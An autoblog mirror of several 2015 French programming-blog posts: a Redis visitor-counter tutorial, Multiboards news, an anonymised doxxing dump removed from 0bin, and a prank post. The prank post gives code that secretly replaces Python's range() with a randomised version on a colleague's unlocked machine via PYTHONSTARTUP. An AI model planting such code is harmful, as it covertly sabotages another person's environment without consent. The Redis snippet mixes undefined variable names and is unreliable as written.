PROJET AUTOBLOG


Sam & Max: Python, Django, Git et du cul

Site original : Sam & Max: Python, Django, Git et du cul

⇐ retour index

cd multiboards; git checkout versionquimarche 6

mardi 28 juillet 2015 à 18:21

Il y a des mises en prod heureuses. Et d’autres non.

Là c’est non.

Je rollback jusqu’à ce qu’on répare tout ça.

Multiboards est désormais customisable 22

dimanche 26 juillet 2015 à 21:23

J’avais pensé à un titre du genre: “Vous aussi, créez votre propre Multiboards et devenez riche” mais ça risquait de faire légèrement pompeux. On garde donc un titre simple.

Pour ceux qui ne connaissaient pas, Multiboards est une simple page web qui affiche les flux rss de certains sites sélectionnés par nos soins. Après quelques années de service on s’est aperçu que pas mal de monde l’utilisait, on a même eu des suggestions d’améliorations (merci Nain Genieu) et des demandes de libération du code source.
Bon le code c’est pas pour tout de suite car il est super crade et que Sam acceptera jamais de laisser ça sans passer un bon coup de balais factoriseur XR-2200. Mais en attendant vous pouvez créer vos pages d’agrégation de flux persos et les partager avec le monde entier ou votre voisine de palier (celle qui a d’énormes nibards).

Pour créer son board on va sur http://multiboards.net/build et on ajoute ses flux RSS, on peut déplacer les flux dans la grille à sa convenance s’ils n’ont pas été rentrés dans le bon ordre. Lorsque l’on est satisfait avec sa page, on clique sur le bouton vert et on peut voir le mimi, le rara le miracle apparaître sous nos yeux ébahis !

mb_custo

Pour le moment vu que ça a été fait à l’arrache dans les chiottes de l’aéroport de Manille y a pas bcp de fonctionnalités marrantes mais lorsque le code sera libéré on espère avoir de jolies contribs ^^.

Quelques idées pour le futur:

NB:
Le player a été changé aussi, plus de flash et place au HTML5, un petit player maison hyper simple mais qui fait son job.

On attend vos retours, ça doit foisonner de bugs

Utilisateurs en ligne avec le sorted set de Redis 7

samedi 25 juillet 2015 à 10:48

Beaucoup de gens sous exploitent Redis en se cantonnant à un usage clé/valeur, voire pour les plus aguérris à la liste ou le hash.

Mais derrière sa simplicité d’usage, l’outil possède une grande richesse de fonctionnalités comme le PUB/SUB, l’hyperloglog et les sorted sets.

C’est de ces derniers dont on va parler.

En effet, dernièrement j’ai dû mettre en place un petit compteur des visiteurs en ligne, et c’est typiquement quelque chose qui fusille une base de données car ça fait une écriture ou une lecture à chaque changement de vue.

Redis est idéal pour ça, le truc tenant 100 000 écritures / seconde, et perdre 4 secondes d’historique du compteur en cas de crash est le cadet de mes soucis.

Pour compter les visiteurs, il nous faut non seulement un moyen d’incrémenter le compteur, mais aussi de le décrémenter quand le visiteur n’est plus en ligne. J’utiliserais WAMP, Crossbar pourrait me donner l’information à tout moment via l’API meta, mais sur un site HTTP only il n’y a aucun événement qui nous signale “l’utilisateur n’est plus connecté”.

Le seule moyen de savoir qu’un utilisateur n’est plus connecté est de garder une trace de lui et de la faire expirer quand on n’a pas de nouvelle depuis un temps supérieur à une durée raisonnable (calculée avec précision ) 10 minutes par l’INDMS).

Problème, on peut bien faire expirer des clés avec Redis, mais on ne peut pas lister ces clés (la fonction keys() le fait mais avec des perfs désastreuses et l’auteur du logiciel la conseille uniquement pour regarder l’état de son serveur depuis la console). D’un autre côté on a des listes, mais l’expiration concerne toute la liste, pas juste un élément.

Une manière de contourner le problème est d’utiliser un sorted set, une structure de données Redis qui a les caractéristiques suivantes :

En gros, c’est comme un dictionnaire, mais ordonné, qui ressemble à :

{
    'cle': 789789
    'cle2': 78999
    'cle3': 6
}

Comme toutes les structures de données un peu exotiques, on se demande à quoi ça sert d’avoir des caratéristiques aussi précises et ce qu’on peut bien en faire.

La réponse est comme d’hab, “plein de choses”, mais nous on va en faire un compteur :

import datetime
 
import redis
 
# connection à redis
con = redis.StrictRedis()
 
# On appelle cette vue avec ajax, ignorant les
# utilisateurs sans JS qui de toute façon sont des 
# anarco communistes qui ne rapportent
# pas d'argent et fument des joins
# Cette partie dépend de votre framework
@ajax('/counter')
def add_user_count(request):
 
    # la clé d'accès à notre sorted set
    counter_key = "users:online"
 
    # un id unique pour notre visiteur. Ca dépend du
    # framework web
    user_id = request.session.id
 
    # Calcul du timestamp de maintenant et d'il y a 10 minutes
    # car ils vont nous servir de score max et min.
    now = (datetime.utcnow() - datetime(1970, 1, 1)).total_seconds()
    ten_minutes_ago = now - (60 * 10)
 
    # On ajoute l'utilisateur dans le sorted set. S'il existait déjà, son
    # ancienne valeur est remplacée, sinon elle est créée. Comme c'est
    # forcément le plus récent timestamp, il est tout en haut du sorted set
    con.zadd(counter_key, now, user_id)
 
    # Le sorted set ressemble donc à ça :
 
    # {
 
    #     "userid": 809809890, # timestamp de dernière requete
    #     "userid2": 809809885, # timestamp plus ancien
    #     "userid3": 809809880 # timestamp encore plus ancien
    #     ...
    # }
 
    # On retire toutes les entrées du sorted set avec un score
    # qui est plus petit que le timestamp d'il y a 10 minutes
    # histoire de pas saturer la mémoire.
    con.zremrangebyscore(online_user_key, 0, ten_minutes_ago)
 
    # Et on récupére le nombre de visiteurs en ligne entre maintenant
    # et 10 minutes.
    visitors = con.zcount(online_user_key, ten_minutes_ago, now)
 
    return visitors

Notez que toutes ces étapes sont très rapides, que ce soit l’insertion, la suppression ou le compte du total grâce aux fantastiques perfs de Redis. J’aime Redis. Je suce la bite de Redis goulument.

La précision n’est pas parfaite, mais compter les utilisateurs est plus un art (divinatoire) qu’une science et avoir un chiffre précis à 2, 3% prêt est suffisant pour nous.

Des fois ce que je trouve sur 0bin fait flipper 24

vendredi 24 juillet 2015 à 09:42

On reçoit maintenant régulièrement des demandes de take down sur 0bin.net, essentiellement pour des trucs de copyright.

Et de temps en temps, on a des trucs vachement plus velus, comme par exemple des clés d’entrée sur des portails pédophiles.

Mais depuis quelques temps, on nous signale des nouveautés : des gens qui ont leur profile complet (genre complet, complet) et qui nous demande de le virer.

Voici un exemple anonymisé d’un truc que j’ai viré cette semaine :

Picture: https://i.imgur.com/sa_gueule.jpg
------------------------------
Understalker:
- Name: prenom nom
- DOB: 01/01/19XX
- Phone #: xxx-xxx-xxxx - Landline, Google Voice
- Phone #: xxx-xxx-xxxx - Landline, Time Warner Cable
- Address: xxx Avenue, New York, NY 10027
- Passwords: passwd1, passwd2, passwd3
------------------------------
Emails:
- prenomgx3@aim.com, Reset: pseudo@yahoo.com
- hnom@yahoo.com
- prenomtruc@mac.com
------------------------------
Skypes:
- skype:prenomnom // Current
- skype:pseudo.2002
- skype:prenom.nom
- skype:pseudo.nom
- skype:prenomsg
- skype:pseudo
------------------------------
Accounts:
- https://prenomstuff.tumblr.com
- https://www.hackforums.net/member.php?action=profile&uid=
- https://www.facebook.com/prenom.nom.9
- https://www.epicnpc.com/members/pseudo
- https://www.whois.com/whois/nomdedomaine.tld
- https://www.whois.com/whois/nomdedomaine.tld
- https://www.whois.com/whois/nomdedomaine.tld
- https://www.whois.com/whois/nomdedomaine.tld
- https://www.whois.com/whois/nomdedomaine.tld
------------------------------
Time Warner Cable Account
- IP: xx.xxx.xxx.xx
- Name: prenom nom
- Address: xxx Avenue, New York, NY 10027
- Phone Number: xxx-xxx-xxxx
- Account Number:
- PIN:
- Modem MAC Address: XX:XX:XX:XX:XX:XX
- SSID: yxyxyxyxyxyx
------------------------------
Relatives:
- Mother: Prenom nom
- Phone #: xxx-xxx-xxxx - Landline, Time Warner Cable
- Address: xxx Avenue, New York, NY 10027
- Previous Phone #: xxx-xxx-xxxx - Landline, Verizon
- Previous Address: Une autre adresse complete
- Previous Address: Une autre adresse complete
- Skype: pseudo
- Skype: pseudo.nom
- Skype: pseudo.nom1
- Facebook: https://www.facebook.com/pseudo.nom.3
- Occupation: COSMETOLOGIST
- License #: Numero de putain licence !, Expir
- Used to own 'nom de son putain de salon de coifure !'

- Father: prenom nom
- Phone #: xxx-xxx-xxxx - Cell, Verizon
- Phone #: xxx-xxx-xxxx - Landline, Time Warner Cable
- Address: xxx Avenue, New York, NY 10027
- Email: pseudo@yahoo.com
- Facebook: https://www.facebook.com/prenom.nom
- Company: Ouai le nom de la société de son père
- Company #: et son siret

- Brother: Prenom nom

- Unknown: Prenom nom
- Phone #: xxx-xxx-xxxx - Landline, Time Warner Cable
- Address: Autre adresse à NY
- Facebook: https://www.facebook.com/prenom.nom

- Unknown: Prenom nom
- Facebook: https://www.facebook.com/prenom.nom

J’ai tout sur ce gars, tout. Où il habite, sa famille, le taff, les contacts, de quoi lire ses mails et resetter tous ses passwords sur tous ses sites. Notez aussi qu’il y a un historique des comptes, et un croisement des identités en ligne. Truc de ouf.

J’ai tout viré, bien sur, mais je suppose qu’il y a en plein qu’on ne me signale pas, et qui sont là, sur le serveur.

Le bon coup de pute du jeudi 7

jeudi 23 juillet 2015 à 09:06

Le bureau est calme. Trop calme. Les projets avancent, vos clients sont heureux et – pire ! – vos collègues sourient.

Il est temps de changer tout ça.

Choisissez une victime qui est partie boire un café sans locker sa session (quitte à faire un exemple, autant choisir un être faible), et créez un petit fichier dans le chemin “~/au/fin/fond/de/ses/reps/de/travail/evil.py”.

Ensuite mettez ça dedans :

import random
import functools
 
# on garde une référence à l'ancienne fonction
# pour éviter une récursion infinie
old_range = range
 
# on lui créé un remplaçant avec les mêmes métatadas
@functools.wraps(range)
def random_range(start, stop=None, step=1):
 
    # on mimic la signature un peu originale de range()
    if not stop:
        stop = start
        start = 0
 
    # et on fait un range avec un tout petit peu de piment
    return old_range(start, stop + random.randint(-1, 1), step)
 
# on range (lol) tout comme si de rien était
__builtins__.range = random_range

Et il n’y a plus qu’à faire pointer la variable d’environnement PYTHONSTARTUP dessus. Par exemple sous Unix, dans son .bashrc:

export PYTHONSTARTUP=~/au/fin/fon/de/ses/reps/de/travail/evil.py

Et maintenant, à chaque fois qu’il ou elle lancera son shell:

>>> range
    <function builtins.range>
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
 
>>> list(range(10))
    [0, 1, 2, 3, 4, 5, 6, 7, 8]

*Zoom final sur rire diabolique*